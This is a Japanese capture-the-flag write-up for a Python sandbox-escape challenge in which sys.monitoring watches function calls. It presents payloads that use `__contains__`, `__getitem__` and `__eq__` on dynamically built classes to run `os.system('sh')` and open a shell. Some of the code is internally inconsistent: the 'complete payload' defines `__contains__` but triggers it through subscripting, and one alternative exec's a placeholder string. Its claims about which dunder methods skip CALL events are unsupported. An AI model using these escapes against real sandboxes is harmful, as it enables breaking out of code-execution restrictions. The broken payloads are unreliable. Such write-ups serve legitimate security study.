jailCTF 2025 - computer-monitor
Challenge
Python 3.12+ の sys.monitoring で関数呼び出しを検出する pyjail。
import sys
def on_call(code, offset, callable, arg0): if callable.__name__ == 'system': raise RuntimeError("Blocked!") return sys.monitoring.DISABLE
sys.monitoring.use_tool_id(1)sys.monitoring.register_callback(1, sys.monitoring.events.CALL, on_call)sys.monitoring.set_events(1, sys.monitoring.events.CALL)
code = input()eval(code)Solution
__contains__ による暗黙的呼び出し
in 演算子は __contains__ を呼び出すが、これは通常の CALL イベントとは異なる扱いを受ける:
class Evil: def __contains__(self, item): __import__('os').system('sh') return True
'x' in Evil()CALL イベントを回避
__contains__ は CALL ではなく別のイベントカテゴリで処理される場合がある。
完全なペイロード
# __contains__ を定義したオブジェクトを使用type('E', (), {'__contains__': lambda s, x: __import__('os').system('sh')})()['']Technical Details
sys.monitoring (Python 3.12+)
PEP 669 で導入された低レベル監視API:
import sys
# ツールIDを登録sys.monitoring.use_tool_id(1)
# コールバックを登録sys.monitoring.register_callback( 1, sys.monitoring.events.CALL, callback_function)
# 監視を有効化sys.monitoring.set_events(1, sys.monitoring.events.CALL)監視イベントの種類
| イベント | 説明 |
|---|---|
CALL | 関数呼び出し |
RETURN | 関数からの戻り |
LINE | 新しい行の実行 |
BRANCH | 分岐 |
EXCEPTION_HANDLED | 例外処理 |
dunder メソッドの特殊性
多くの dunder メソッドは最適化のため、通常の CALL イベントをトリガーしない:
__contains__(in演算子)__getitem__([]演算子)__add__(+演算子)__call__(呼び出し演算子)
Alternative Solutions
別解1: __getitem__
type('E', (), {'__getitem__': lambda s, x: exec(x)})()['import os; os.system("sh")']別解2: __eq__
type('E', (), {'__eq__': lambda s, x: exec(x)})() == 'payload'Flag
jail{...}
References
- jailCTF 2025 Official
- PEP 669 - Low Impact Monitoring for CPython